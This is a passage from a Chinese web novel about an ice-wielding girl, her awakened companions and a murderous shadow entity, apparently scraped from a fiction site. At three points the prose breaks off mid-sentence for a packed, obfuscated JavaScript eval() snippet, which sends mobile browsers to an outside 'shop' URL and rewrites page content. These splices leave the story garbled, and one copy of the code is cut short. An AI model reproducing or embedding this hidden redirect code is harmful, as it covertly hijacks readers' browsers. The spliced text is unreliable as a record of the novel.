操场上的人渐渐散去。 艾以何还站在原地。 太阳已经彻底升起来了,热气在影子里蒸腾,把它变成扭曲的形状。 艾以何蹲下来,轻声道:“你在,对吗?” 影子没有动。 艾以何等了一会,站起来。 远处有车灯闪了一下。她低头看手机,林骁的消息已经刷了十几条。 林骁刚才拉了个群,把她、周婉、还有王卫边的账号都加了进去。 【葡萄不酸不要钱:吓死我了,传送过去还以为要跪,没想到还能抱大佬大腿。】 【周:合作积分怎么算?】 【葡萄不酸不要钱:可以拉个队伍,队长分配。哈哈哈哈哈大佬通过我的好友申请啦!!】 【周:那祝你飞黄腾达啊】 【葡萄不酸不要钱:那可不,最后给我结算积分的管理员排名可高了。从2665号提升到768号,具体见面聊啊。@今天也没HE葡萄汁和快递员都到了,就差冰柜你啦。】 冰柜?艾以何嘴角动了一下,没回。该庆幸他没直接喊冰块吗? 不过管理员的名称也代表排位吗?提管理员,她第一时间想到的是网吧管机位的。 群里安静了两秒,王卫边的账号始终没说话。 一辆军用皮卡停在避难所外面,穿着迷彩服的寸头女人把车窗摇下来,取下墨镜,冲她招了招手。 艾以何背上包,往门口走。 “初次见面,你好,艾以何,不——872。我叫张鹰,老鹰的那个鹰。不用自我介绍,纸面资料我比你自己还清楚。” 张鹰左手扶着方向盘,指了一下后排的口袋,“这有防弹背心。做好准备,我开车的速度有点快,5分钟就能到。” 艾以何拿起背心,还没打开包装车就动了,她整个人在惯性下贴到椅背。 窗外的街景飞速后退。10秒之后,玻璃上连残影都没有,视线范围内只看得见模糊线条。 这应该是张鹰觉醒的能力。 艾以何只觉得心跳加速,呼吸都快被甩到后面,皮卡突然猛地一刹! “到了。”张鹰回头,见艾以何没想吐,吹了声口哨。 艾以何穿好防弹背心,下车。眼前的临时基地外围,铁丝网被撞开一个大口子。 市区的天已大亮,而基地这边的探照灯依旧开着,光柱来回移动,照出一公里外那些静止的巨大黑影。 岗哨处除了持枪的士兵,还站着一个人。 是林骁。 他举着手里的饮料,朝艾以何挥动:“这边,冰柜,这——边!” 士兵的视线同他一道转了过来,艾以何听到他这个外号真喊得出口,手里忍不住凝出一点冰渣,按在自己脸侧。 头上也有动静,艾以何抬头看天,看见一只白鹭在低空盘旋。她的翅膀迎着探照灯的光,泛着银色的流动质感。 张鹰戴上墨镜,先观察了一下基地铁网的破损,才对她道:“领导让今晚12点前把你送到培训营,按我速度,你还有15个小时可以浪费。” 艾以何问:“培训营是什么地方?” 张鹰隔着墨镜,有些意味深长,“到了你就知道了。” 艾以何不太喜欢谜语人。 白鹭敛翅落到两人之间,张鹰笑了声,说自己要找个地方补个觉,要出发再叫她。 对方刚走不久,林骁就眉飞色舞地挤了过来:“看到铁丝网那个洞没有,被猪拱的。这里有只大猫超帅,那么大一只野猪,在它爪子底下就是一个玩具!” 艾以何点点头,看来那只橘猫适应得很好。她还没来得及回应更多,周婉的翅膀就抚过她,示意自己要去换衣服了,让她跟着走。 林骁在后面喊:“喂,你俩不等我啊?” “是你跑太慢了。” 周婉两只爪子在地上蹬得更快了,艾以何没回头,但嘴角弯了一下。 基地中间的建筑前,一只巨大的橘猫正蹲在台阶上,尾巴无聊地扫来扫去。那个能跟它说话的女高中生不在,林骁说,她被抽调回乐水区值班了。 看见他们一行人过来,猫的尖耳动了动,暗金色的圆瞳转向艾以何,似乎在辨认什么。 艾以何停下脚步。伸出手,凝结出一个足球大的冰球。 橘猫低下巨大的头,探出鼻子,小心翼翼地碰了那颗球。 嘿,没黏住。 “你还记得我啊。”艾以何说完,把冰球往旁边一扔。 橘猫巨大的身体站了起来,跟着球开始兴奋地跑动。大门的位置被挪出来了,周婉踏踏爪,迫不及待地进去穿衣服。 艾以何没进去,看着不知哪来的一阵风,把建筑上的红旗吹起。 她若有所感。 【角色艾莉西亚已锁定,暂时无法提升同步率。】 艾以何沉默,又来? 无法同步似乎就感受不到雪原,她想了解更多关于艾莉西亚的事情。 艾以何低头看手心,这两天因为握剑开始发红,但离茧还有一定距离。 她抬起头—— 橘猫突然按住冰球。它弓起背部,毛发直立,喉咙里发出低沉的呼噜声。 是警告。 艾以何顺着它的视线望去,越过基地小楼的轮廓,看到那些静止的黑影中,有一个动了。 它站了起来。 那怪物原本就很大,现在四肢撑起身体,轮廓在探照灯下像一座苏醒的小山。 “咚!”它开始移动。 忽然,有什么东西在天空一闪而过。 很小,像一只鸟。 大地震动,数十个黑影从它身上掉落。但他们落地的姿势很奇怪,不像主动跳下来的,而像是被什么扔出去。 它们顿了顿,向基地袭来。 “我靠。”林骁的手机差点掉地上,“它它它……” 白鹭形态的周婉从建筑里冲了出来,升空盘旋,压抑不住本能地发出一声尖锐鸣叫。 那是原始的警告信号。 基地的探照灯全部转向,铁丝网后的士兵没有后退,反而往前压了一步。有人拉动枪栓,有人在报坐标,声音稳得像在演习。 “第三道防线准备——” “觉醒者,前排!” 喇叭的声音未落,十几个人从基地各处冲了出来。有走路带白光的,有双手是金属的,有肩扛绿色植物的。 有人边跑边骂:“刚睡着就被叫起来。” 另一个人吼他:“你是不是下哨又去打游戏!交手机!” “班长——我错了!” 他们没有统一的制服,但站成一排,没人往后缩。 “等它们进射程。”指挥官的声音从喇叭里传出来,“听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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艾以何甩了甩握剑发麻的手。后背的冷汗被夜风一吹,有点凉意。 就在这时,她听见身后传来惊呼。 “冰柜——后面!”是林骁。 她下意识回头。 三只黑影从地里钻出来,同时朝她扑了过来! 太快了! 她只来得及挥剑冻住第一只,第二只的利爪已经拍在她肩上。巨大的冲击力把她掀翻在地,剑脱手而出。 第三只扑上来,一口咬向她的小腿。 她下意识用脚去蹬,怪物的牙擦过她的脚踝,撕下一块皮肉。血涌出来,浸湿了裤腿。 她翻身想爬起来,第二只又扑了过来。 这一次,没有艾莉西亚出现了。 爪子死死压住她的胸口,防弹背心被划破,巨大的重量压得她喘不过气。这个距离,艾以何才看清——那是狼,但毛发末端化成雾状,瞳孔全黑,没有活物的光。 它的涎水滴在她脖子上,腥臭、冰凉,没有温度。 艾以何左手凝出冰棱,抵住它的喉咙,用力戳了进去。冰刃刺穿皮肉,但那东西根本没有反应。 狼嘴往下压。 她右手在地上胡乱摸索,想找到那把剑—— 够不到。 剑到底在哪里?! 狼的涎水已经滴到她的脸,利齿几乎贴到她眼皮上。 艾以何脑子里只剩一个念头。 就到这了吗? 不知道何晓慧到首都了没有。还好听了艾莉西亚的话,最后跟她见了一面。 果然……做不了她的依靠啊。 艾以何的精神松懈下去,右手不再徒劳的找剑,而是死死掐住黑影脖子。她不管那快要咬穿自己脖子的利齿,以自己为媒介,让冰在他们之间炸开! 那颗狼头炸了,从中涌出冰瀑,将一米之内全部冰冻! 黑雾吞没了她。 艾以何躺在地上,冰层快速覆盖她流血的脖子。 她听到了机械的提示音,好像听到了何露露的名字,但听不太清。她突然感觉好冷。 骨头缝里好像填满了冰雪,连灵魂也快被冻住的那种冷。 但敌人还有一只。 她快死了。 远处,林骁正在往这边跑。他跑得很快,快到自己都不知道自己怎么能这么快。 但太远了。最后一只狼已经低下头,嘴大张开,几乎要吞掉艾以何的脑袋。 他看见艾以何的影子动了! 在战场的探照灯之下,那个影子被拉得很长,扭曲地铺在地上。狼的影子和艾以何的影子近乎重叠,像一团诡异的怪物。 但就在那一秒! 它像一个被惊醒的活物,伸了个懒腰,猛地向两侧扩张。它是一个巨大的、扭曲的、看不清形状的怪物。 它有头,有手,有无数条从身体里伸出来的触须,在黑暗中疯狂地摆动。 然后……全部指向狼! “砰!” 一发带光效的子弹贯穿狼的头部。 林骁转头,看到张鹰不知道什么时候出现在二十米外的侧翼,手里端着狙击枪,嘴里嚼着口香糖。 她在笑。 却有点轻蔑。 这陌生人笑不笑好像与他无关,林骁焦急的转回头。 艾以何的影子已经恢复正常了。 她还躺在地上。狼一死,化成黑雾,影子安安静静地待在地上,仿佛什么都没有发生过。 但他刚才看见了。 他确定自己看见了。 8. 林骁对影子欲言又止 基地外的黑影停住了。 它们蹲在原地,全黑的眼睛不再全是捕食者的凶狠,多了一丝恐惧。 为首的黑影,喉咙里发出一声呜咽。 它松开爪子,往后退了一步。 又一步。 再一步…… 它夹住尾巴,转身跑了。其他黑影顿都没打,马上跟上。 艾以何躺在地上,呼吸重新有了温度。她不知道发生了什么,只知道林骁给她灌了一大口中药,还不准她吐。 脖子上的血没流了,还多了血肉结疤的痒意。她盯着灰蒙蒙的天,过了好几秒,才意识到自己还活着。 她居然没死。 艾以何撑着坐起来,低头看自己的手,手指还能动。 她看向林骁。 林骁脸色发白,手里攥着空饮料瓶。另一只手捂着他的脖子,青筋暴起。 “你……”艾以何开口。 “还痛不痛?”林骁打断她,召唤出全新的一瓶,重新塞到她手里,“喝!” 艾以何看着他,嘴边残留的中药味苦得伤心。 林骁正盯着她身后的地面。 艾以何回头。 那里什么都没有,她只看到了自己的影子。影子被探照灯拉得很长,安静地躺在地上。 空气有点扭曲,像有什么东西刚从那里离开,一抹阴霾的绿色正在散去。 艾以何觉得他的表情实在有些沉重:“你在看什么?” 林骁沉默了两秒。 “没什么。”他说,“可能眼花了。” 艾以何没再问,她拧开饮料瓶。 还是那股中药味,她闻着就想干呕。她捏住鼻子,强行逼自己一口气喝完,心里只有一个念头。 再也不要受伤了。 受了也不要落到林骁手上! 林骁的新饮料效果立竿见影,艾以何全身都不疼了,腿上的伤口也开始收口。 她站起来,低头看自己。 浑身都是血,尤其是右脚踝那一片,完全染成了暗红色。 “谢谢。”她说。 林骁摆摆手,“先回去换身衣服吧。” 他走在前面,艾以何疑惑,感觉对方走路的姿势好像和之前不太一样。 天空传来一声尖啸。 艾以何抬头,看见周婉俯冲下来,翅膀几乎贴着地面掠过。 白鹭爪子上抓着一只黑色的东西,用力一甩,那东西砸在艾以何面前。 是那只乌鸦。 白鹭落地时还很优雅地收了一下翅膀,接着跳回来,双翅大张,非常凶恶的蹬了它一爪。 艾以何下意识打配合,冰霜化为实体丝状,牢牢锁住乌鸦两个翅膀。 乌鸦红宝石一样的小眼睛,滴溜溜转着,还带着人性化的绝望。 它在地上扑腾了两下,昨天挣断的翅膀还没长好,这次受的伤更严重了。 “你来找死?”艾以何蹲下来,手里凝聚出一把冰棱,威胁之意不言而喻。 乌鸦不动了。红眼里再也没有昨天的嘲笑,反而对她充满恐惧。 这家伙胆子不像这么小啊。 橘猫当够了大门保安,慢悠悠地走过来。它低头看着这只小得可怜的乌鸦,弹出爪子尖端,轻轻拨了一下。 乌鸦翻了个身,露出肚子上的白色绒毛。 橘猫又拨了一下。 艾以何:“……” 乌鸦:“嘎。” 橘猫侧头,看着艾以何,脸上长长的胡须颤了颤,似乎在问:这个能玩吗? 艾以何深吸一口气,把冰棱收了回去。 “随便你。” 橘猫低下头,用肉垫按住乌鸦,开始认真研究这个新玩具。乌鸦挣扎了两下,发现挣不脱,索性放弃抵抗,躺在那里装死。 基地渐渐安静下来。艾以何靠在墙边,看着太阳一点点升高。 刚才的战斗,她回想起来好像隔了一层迷雾。像做了场噩梦,她甚至还梦到了一个模糊的绿影,被影子踩在了脚底下。但身上结痂的伤口提醒她,那并不是梦。 林骁蹲在旁边,几次看向艾以何,又移开视线。 艾以何注意到了。 但林骁不开口,她尊重,选择不问。 艾以何整个人像只懒洋洋的猫。 不远处,两个觉醒者撩起袖子,一个像钻头一样打扫战壕,一个融化成金属液体,修理外围的铁丝网。橘猫蹲在他们旁边,尾巴慢悠悠地扫着,像个合格的监工。 那只红眼乌鸦趴在它头上,只露出一个脑袋,时不时的忌惮地看一眼艾以何,似乎已经认命了。 快上午10点的时候,一辆银白色的长厢货车缓缓驶入基地。司机走下来,四处张望,很快就和张鹰对上暗号。 林骁还记得这女人那个莫名其妙的笑,拉了拉艾以何,示意她要留心那边。 司机跟张鹰聊天时也没取下钢盔和防护面罩,确认接头人无误,他打了个手势,副驾相同穿着的人也走下来。 他先敲了敲后车厢,得到里面的回应后,然后两人一起用力,缓缓拉动车厢的金属门。 冷气的白雾从缝隙里溢出,厢门拉开大半,里面的人扶着门准备出来。 他的左臂露出的位置,从肘关节以下全是银色的机械外壳,在太阳之下泛着冷光。 林骁愣了一秒,大喊:“王哥!” “王——哥!”怕对方又会消失似的,林骁第一个冲过去。 林骁跑起来的时候,艾以何注意到他的步伐已经正常了。好像刚才那个“不太一样”是她的错觉。 王卫边站在车门前,看着林骁,嘴角动了动。 他应该是想说话的。但舌头的位置空了,像昨天回归时那样空荡荡的。 林骁手忙脚乱的翻背包,从里面掏出王卫边的手机。 “王哥!”他递到王卫边眼前,看着那截机械臂,想伸手去碰,又不敢,“你、你这是……” 王卫边抬起右手,又指了指自己的机械臂。机械臂的五指张开,指尖窜出一串亮蓝色的电火花。 那电火花从手指跳跃到肘部,他没有任何被电麻的反应。 林骁看懂了。 他现在自己就是充电宝。 周婉在旁边小声说:“以后你都不用挑了。” 王卫边笑了。没有声音,但眼角弯起来,整张脸都在笑。 艾以何感觉他的精神气跟商业街的时候不一样,更自信了一点? 周婉看了看他的机械臂,又看了看自己的手,琢磨着:“不知道哪天我受伤了,能不能也换个翅膀。” 林骁在旁边接话:“你那翅膀够用了,再换就成鸟人了。” 周婉瞪他:“你才鸟人。” 林骁回嘴了一句,又看向王卫边,声音有点哑:“王哥变得这么帅了。” 王卫边拍拍他的肩。没有舌头,他说不了话。但他没被改造的那只手碰到林骁的时候,有可靠的温度。 艾以何站在旁边,看着王卫边的机械左臂。沉重的、金属的、冰冷的,但……应该还是没有冰雪那么冷。 她抬起自己的右手, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482370|201820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 五指空空的合拢。就在昨晚,有另一只手从后面握住它,一起刺向那些淤泥怪物。 那只手很冷,但握住她的时候,似乎也带着暖意。 艾以何把右手握紧,又松开。 张鹰靠在货车旁边,嚼着口香糖,视线一直停留在那只机械臂上。 王卫边回来,林骁心情都好了不少。周婉和艾以何让他俩单独叙旧,走到旁边讨论异空间积分到底有什么用。 “打死一只普通诡异10分,精英级也才260分。”周婉盯着官方提供的兑换表,“一套房居然要1800分?” 艾以何摇头:“何止,你看这一行。八险二金一个月是150分,包退休待遇是3000。” “还得干满20年。”周婉叹气,对剩下的武器、战衣项目兴致缺缺。 她变身后又用不了。 艾以何叹气,“只有技能提升没有,必须在异空间窗口才能换。” 林骁凑过来,嘿嘿在那傻笑。他那个临时大佬队友直接帮他换了技能。 周婉捏紧了那张表:“比起中药,我觉得葡萄也不是不行。” 艾以何深表同意。 正午的太阳晒在人脸上很疼。 橘猫蹲在艾以何旁边,用尾巴尖蹭了蹭她的小腿。那只红眼乌鸦滑在它背上,半边翅膀有气无力地挥动。 艾以何嘴角刚动了一下,突然感觉小腿又被蹭了一次。 她低头,看到橘猫尾巴尖的毛有点炸开。它维持着蹲姿,但耳朵竖着,盯着市区的方向。 “怎么了?” 艾以何问。猫没理她。 尾巴又扫了一下,比刚才用力。 艾以何顺着它的视线看过去——市区很安静,什么动静都没有。 艾以何蹲下来,摸了摸橘猫的尾巴。 “你守好了基地,真棒。” 橘猫的尾巴敲了一下地面。 艾以何又看了一眼那只乌鸦。 乌鸦“嘎”了一声。 橘猫抬起爪子,把它往自己头上拨了拨。乌鸦没反抗,反而往橘色的长毛里一钻,只露出两只红色的眼睛。艾以何看它的时候,它又把眼睛缩回去。 林骁走过来,站到艾以何旁边。 “那个……”他终于选择了开口,但又停住。 艾以何看他。 林骁沉默了两秒,然后又说没什么。 他想起那一瞬间看到的画面。那个从地上站起来的、扭曲的、可怕的影子。 他现在不确定自己是不是真的看见了。但他确定,那绝对不是正常觉醒者的力量。 “到底怎么了?”艾以何问。 “没什么。”林骁笑了笑,“我该换副眼镜了。” 艾以何看了他一眼,就算他在她身上看见了阿野或是何露露,也不应该是这个反应。她记下这件事,心想晚上再说。 橘猫突然动了。 耳朵竖了起来,整个身体绷紧,像一张拉满的弓。 艾以何抬头看它:“怎么了?” 橘猫转过头,盯着市区的方向,明明看着毫无异状,它的喉咙里发出一声低沉的嘶吼。 然后它把艾以何一叼,跑了。 那么大的身体,跑起来像一阵风。林骁只来得及看见它橘色的背影消失在风里。 “橘猫!”林骁喊。 猫没理他。 周婉从后面跑过来:“怎么了?他们去哪里?” 那个能跟动物沟通的女高中生,她现在不在基地。烈风刮在艾以何脸上,她缩了缩脖子。 9. 何露露正式登场 艾以何不知道自己被叼着跑了多久。 风刮得她睁不开眼。她试着换了个姿势,虽然不能下来,至少能舒服点。 橘猫停了好几次,但每次都会低头嗅一嗅地面,然后换个方向继续跑。 最后它似乎发现什么,停了下来,艾以何终于被放在地上。 这里是北风街。 她看到了那张摇摇欲坠的A4纸告示,却没有看到应该在这里的大猫。 橘猫正试图往狭窄的巷子里挤,身后传来刹车声。军用皮卡停在巷口,张鹰解开前后座车锁,语气有点急:“到了,你两快下车!” 林骁和周婉从车上滚下来,扶着墙就开始吐。王卫边递了张纸过去,被周婉一把抢过来,拼命地擦自己溅到秽物的胸口。 他呆了下,看林骁还在吐,蹲下来用右手轻轻拍他后背。 张鹰懒得搭理他们,翻到车后座,确定没被吐到车上。皮卡还在轰鸣,张鹰像哄小孩一样,轻轻拍了拍它的车窗。 她闭着眼,像动物一样嗅着空气里的信号。直至找到人血的味道,她才笑道:“有意思。” 艾以何过来:“你发现了什么?” “我的任务只有送你。”张鹰语气漫不经心,“至于你的问题,这是另外的价钱,8—7—2。” 巷子里,这时传来一声又一声凄厉的猫叫。不是平常的叫声,是那种从喉咙深处发出来的、压着愤怒和痛苦的嘶吼。 艾以何从橘猫肚子底下钻进去,然后愣住了。 她终于看到了那只大猫。 它的身体几乎和墙角的阴影融为一体,脊背高高拱起,细长的尾巴完全炸开。它的眼睛在黑暗里泛着荧绿的光,像烧着的鬼火。 它在发狂。 爪子底下什么都没有,它却一遍又一边刨着地面,在水泥地上刨出一道道深痕。 不对,那是—— 艾以何往前走了一步,大猫转过头来,盯着她。 灰色的胡须微颤,闻到了同类黏糊糊的恶心味道。它让开一步,露出身后的墙角。 那里原本有一个用旧衣服和纸板搭的小窝。 现在小窝被踩烂了,纸板碎成几片,旧衣服上面全是脚印。 也没有看到它的小猫。 艾以何的呼吸停了一拍。 “你有几只小猫?”她问,“都被带走了吗?” 大猫看着她。它不会说话,但它懂了。 它用爪子在地上划了三下。 三只。 艾以何张了张嘴,说不出话来。 “有没有看到一个人类女孩?”她问,“她应该拿着这只橘猫的毛。” 大猫的耳朵动了动,冷冷的竖瞳斜了一眼巷子外,看到了那个没用的同类。它又看了一下自己爪子,的确有从地上勾到的橘毛。 它转身往巷子深处跑了几步,又回头看她。 它在带路。 艾以何小跑回巷口,周婉已经吐空,脸色还有点发白,艾以何跟她说在群里开了位置共享,随即又匆匆跟上大猫。 “砰!”张鹰一脚横在巷口的墙上,对着王卫边——顺便拦住另外两个,嘴里嚼着口香糖,“要来一片吗?” “哈哈,开玩笑的,知道你没有舌头。” 张鹰笑着的脸一下变成冷酷,“不要忘了你是怎么活下来的,资产没到折旧年限之前,可不能在这报废了。” 王卫边抓住林骁的手。 林骁愣住了。 王卫边又冲他摇了摇头,林骁一把甩开他的手,瞪了张鹰一眼,气咻咻地跑到周婉脚边蹲下。 周婉一把按住他的头,差点把人压到地上。 “你傻子吗?”周婉跟着蹲下,横了他一眼,“别人这是在考试,你掺和什么。” “啊?” “你没听到啊。”周婉学着张鹰刚才的语气,还故意拖长音,“8—7—2—同学。” 张鹰看了周婉一眼,嘴里的口香糖连着嚼了两下。 巷子尽头是一堵墙,上面有个破洞,刚好能钻过去一只小猫。 大猫一个纵身跳了过去,艾以何犹豫了一下,跟着往上爬,衣服被碎砖刮出几道口子。 她翻过墙,外面是待拆迁的老城区。废弃的木头隔板和红砖墙东倒西歪,月光照不进天井,到处都是黑瓦屋檐投下的阴影。 视线范围内的道路又窄又长,宽度刚刚够橘猫伸进一只脚掌。 大猫冲探头探脑的傻大个呲了呲牙。后者委委屈屈的缩回身体,蹲在北风街入口,无聊的尾巴像周婉按林骁那样,一下又一下的扫过他的头顶。 艾以何已经注意到,地上有新鲜的血迹。 不是一大滩的,而是一滴一滴,断断续续地往前延伸。 艾以何蹲下来,看到离墙最近的那处血滴里,有一个很浅的、像人类指甲挖出来的痕迹。 歪歪扭扭的,像个“八”字。再仔细一看,两边并拢,应该是猫的尖耳。 ……你倒是画个指方向的箭头啊,艾以何深吸一口气,冰剑凝聚,沿着血滴和大猫继续往前走。 拐过最外围的巷子,一片黑暗中有了光。 在一栋小楼的二层。 不是电灯的光,是那种火堆燃烧、跳动起来的光。 艾以何放轻脚步,贴着墙往上走。橘猫跟在她身后,一点声音也没有。 二楼的门早朽掉了,艾以何弯下腰,从洞眼往里看—— 火堆旁坐着一个男人。 他穿着一身黑色卫衣,戴着鸭舌帽,属于从摄像头下面过去,只要头一埋,都不担心能拍到脸的装扮。 他手里拿着一截猫尾巴。 细细的,小小的,沾满了血。 他把它扔进火堆里,火苗“呲”地窜高了一截。 他笑了。 艾以何的血瞬间涌上头顶。 但她没有动,因为他背后的墙角还躺着一个人。那人穿着校服,右手背的皮被割掉了,血淌下来,在地上聚成一小滩。 她旁边还有两只小猫,被尼龙绳捆住四肢,比巴掌大不了多少的身体没有起伏。 一分钟过去了,他们都没动过,不知道是不是死了。 艾以何的脑子“嗡”地一声,她没注意到,她的影子一瞬间吞没了楼道。 大猫跳到影子够不到的窗上,浑身毛都炸了!但艾以何没注意它的异状,难以言喻的愤怒让她推开门,提着剑走了进去。 那个男人抬起头,看见她,还愣了一下。然后他看到那把剑,不由自主的笑了,露出一口洁白的牙齿:“哟,还有送上门的觉醒者。” “冰系?”男人站起来,往后退了一步。但他的脸上没有害怕,反而有某种兴奋,“没杀过。不知道杀了你,力量又能涨多少!” 他话一说完,身体表面开始变化。 男人皮肤变成金属的银灰色,在温暖的火焰下泛着冷光。他握了握拳,指节发出刺耳的摩擦声。 “我本来想休息两天,就只抓点变异猫玩玩,”他说,“没想到能连续碰到两个觉醒者,运气真好。” 艾以何没说话,直接砍了过去。 男人冲上来,金属化的拳头带着风!艾以何侧身躲开,剑划过他的手臂,冰霜留痕,迅速冻住他的左手。 但只冻住了三秒。 男人轻声的笑。金属重组再构,表层的冰簌簌掉落,对他没有任何影响。他对着艾以何笑,“该我咯。” 又是一拳! 艾以何用剑挡住,巨大的冲击力把她震得倒退几步,虎口发麻。 男人又冲上来,艾以何咬牙迎战。剑砍在他身上,太硬了砍不进去,冰层覆盖,转眼就被转化掉落。 男人觉得这样不好玩,拳头捏紧,猛的砸向她的剑身上。 巨大的力量震得艾以何整条手臂发麻,剑差点脱手。 大猫从后面扑上来,一口咬住男人的小腿。但金属太硬了,它的牙齿发出吱嘎的声音。 男人“啧”了声,一脚把大猫踹开。足有迷你汽车那么大的猫一下撞在墙上,抖得满天都是墙灰。 大猫从地上爬起来,甩了甩头,眼睛冷冷瞅着男人再度攻向艾以何的空隙,它整个身体扑上去,用自身重量死死压住他手臂上,另一只爪子疯狂地挠他的脸。 “死猫!”男人有只眼睛被抓得血肉模糊,一只手握成拳,胡乱地砸向压在自己身上的大猫。 一拳。 两拳。 三拳! 大猫的毛发上全都是血,前肢都被打凹陷了,但它还是用尽全身力气去压制住他。 男人还要呼吸,还要看见,就做不到面部的全覆盖。 这是弱点! 艾以何趁机从上刺下一剑,直取他另一只眼睛。 男人偏头躲开,金属快速覆盖,但剑尖还是划过他的耳朵,刮下一层薄薄的金属碎屑。 他怒了,一脚踹向艾以何小腹! 他的速度太快了,根本躲不开。艾以何整个人飞出去,擦着地板往后滑,后背火辣辣地疼。 她撑着地面想爬起来,但手臂发软,肚子痛的要死,撑到一半又跌回去。 她在愤怒。 为自己的无能为力而愤怒。 【当前同步率:30%】 男人推开昏过去的大猫,走过来,居高临下地看着艾以何。 “你这能力挺好玩的,”他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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艾以何从地上爬起来,看见她的影子里有什么东西在挣扎。一个人形的凸起拼命地想往窗户边冲,但影子就像沼泽,一点一点把他拉入深渊。 先是脚,再是腿,最后……是他的头颅。黑色的人形嘴部无声的、夸张的张合。 然后沉了下去。 影子安静了。 艾以何用剑把自己撑起来,一瘸一拐的走到大猫旁边。她能感觉到,影子里有什么东西在被分解、被吸收。 像蛇吞掉一只老鼠,在肚子里慢慢消化。 她应该害怕的。 但她放任了,甚至纵容对方继续那么做。 这个男人就应该去死! 她知道这是谁的能力,就在这一瞬间,她眼前闪过画面。 是地下城。 狭窄的、潮湿的、永远见不到阳光的地下城。 12岁的小女孩蹲在墙角,面对一个成年男人,对方不怀好意地笑。她往后退,退到墙角,退无可退。 男人伸手来抓她—— 画面如同老旧的破电视,闪过一段雪花,才重新开始播放。 那个男人埋在深坑里,小女孩衣服变得更破了,手里多了半块发霉的面包。 等确定对方真的死了,才把面包塞进嘴里,嚼都不嚼就咽了下去。 画面消失了。 然后是下一个。 镜子里的小女孩面无表情,她看着镜子里的自己,看了很久很久。 艾以何瘫软在地上。 她浑身都在发抖,毛孔里渗出血珠,从手臂上、从脖子上、从脸上,一颗一颗地往外冒。 然后她看见了。 她的影子里站着一个人。 那个人慢慢从黑色里浮出来,先是一只涂着紫色指甲油的手,再到满是刺青的手臂,最后是一张脸。 一张面无表情的脸。 她是……何露露。 她从影子里走出来,躺到艾以何旁边,侧头看着造物主。 看了很久。 何露露开口了。 声音很轻,像影子本身在说话。 “我喜欢你刚才的样子。” 她的脸上慢慢浮出一个笑。 那不是温暖的笑,也不是释然的笑,不是任何一个正常的笑。 那是充满血腥味的笑。 何露露的嘴角上弯,但眼睛里什么都没有。像一把刀,在月光下反着光。 她说:“这才是我们。” 10. 何露露躺在她手心 艾以何无声的看着她,右手的食指动了动,她没力气了。 何露露爬了过来,垂下头,把脸贴在她的掌心。 “咚咚——咚咚!”心脏和脉搏都在跳动。 艾以何笑了。 她指头上的血抹在了何露露脸上,从下颌一直延长,手指颤抖着,竭力抵达眼睛下方。 何露露脸上的血在流淌,在干涸。她任由她摆布,像一个承诺,也像一个新的刺青。 楼下传来脚步声。 “艾以何!艾以何你在——我靠!” 是林骁。 二楼的影子将他的脚印吞没,又犹豫了一下,重回平静。何露露在掌心蹭了蹭,沉入造物主的影子。 林骁冲了进来。 他看见艾以何浑身被血泡透了,墙角还躺着大猫小猫,还有一个穿校服的女孩,吓得他脸都白了。 他冲过来,蹲下,一时不敢伸手确认她的生死。 艾以何张了张嘴,没发出声音。 林骁愣了一下,然后反应过来,从兜里掏出一瓶饮料。 是最新的中药味。 艾以何觉得自己还不如死了。 “快喝!快喝!” 林骁心急,一把将瓶子凑到艾以何嘴边。 艾以何喝了一口。 ……更难喝了。但她还是咽了下去。 身上的血慢慢止住,力气一点一点回来。伤口虽然好了,但骨头还是隐隐作痛。 她撑着地面坐起来,眼睛看着墙角那只大猫,还有它旁边那两只已经不会动的小猫。 和那个女高中生。 林骁顺着她的目光看过去,沉默了。过了很久,他说:“那个女孩……” “人还没死呢。”张鹰冷嘲热讽的声音比她本人先到,“但你要是再不管,那离死也快了。” 白鹭摇摇摆摆的走过门框,羽毛上沾到很多瓦片灰尘,一不小心就蹭到张鹰裤腿上。 “……”张鹰斜了她一下,双手抱胸,又看向林骁。她看着他发现自己喂不进饮料,就倒在手指上,一点一点往对方嘴唇上抹。 抹了几下,女高中生的嘴唇终于张开一条缝。 林骁把饮料慢慢倒进去。 一口。两口。三口。 她的呼吸变得稳了一点。又过了一会儿,她的手指动了动。 林骁盯着她的手,眼睛亮了:“嘿,动了!” 周婉从隔壁房间回来,身上已经穿好他口袋里提着的衣服,凉凉道:“你那个中药味,死人都要爬起来骂一句难喝。” 林骁没反驳,只是嘿嘿笑着。 张鹰没管这两个的插科打诨。她走近艾以何,居高临下的弯腰,面向她的表情带着一丝探究。 “恭喜你,872……学员。”张鹰笑了起来,却没有真心实意的感觉,“我将如实记录,培训正式开始之前,你就已经可以''独立''击杀一只渊行者。” 渊行者? 艾以何觉得那个男人不配这个名字。 林骁一瓶饮料挡在艾以何和张鹰之间,“来,再喝点?” 他不知道是不是自己心虚,总觉得张鹰那个“独立”二字咬的特别重。 他又想到了那个影子。 艾以何顺势接过那瓶饮料,站起来,低头看了一眼自己的影子。奄奄一息的大猫抬起头,看着她。 月光底下,影子缩成一团,就在她身后安静贴住地面。 大猫身上还在流血。刚才最后的一拳,彻底砸断了它的骨头。 艾以何蹲下来,想拧开瓶盖。 大猫没动。 它只是越过她,看着两只小猫僵硬的身体,看了很久很久。 然后,它低下头,舔了舔艾以何的手。 艾以何愣了一下。 大猫的身体开始发光。 不是莹莹的幽光,而是像今晚的月光一样柔和,光芒从它脏污的皮毛里透出来,把整个墙角都照亮了。 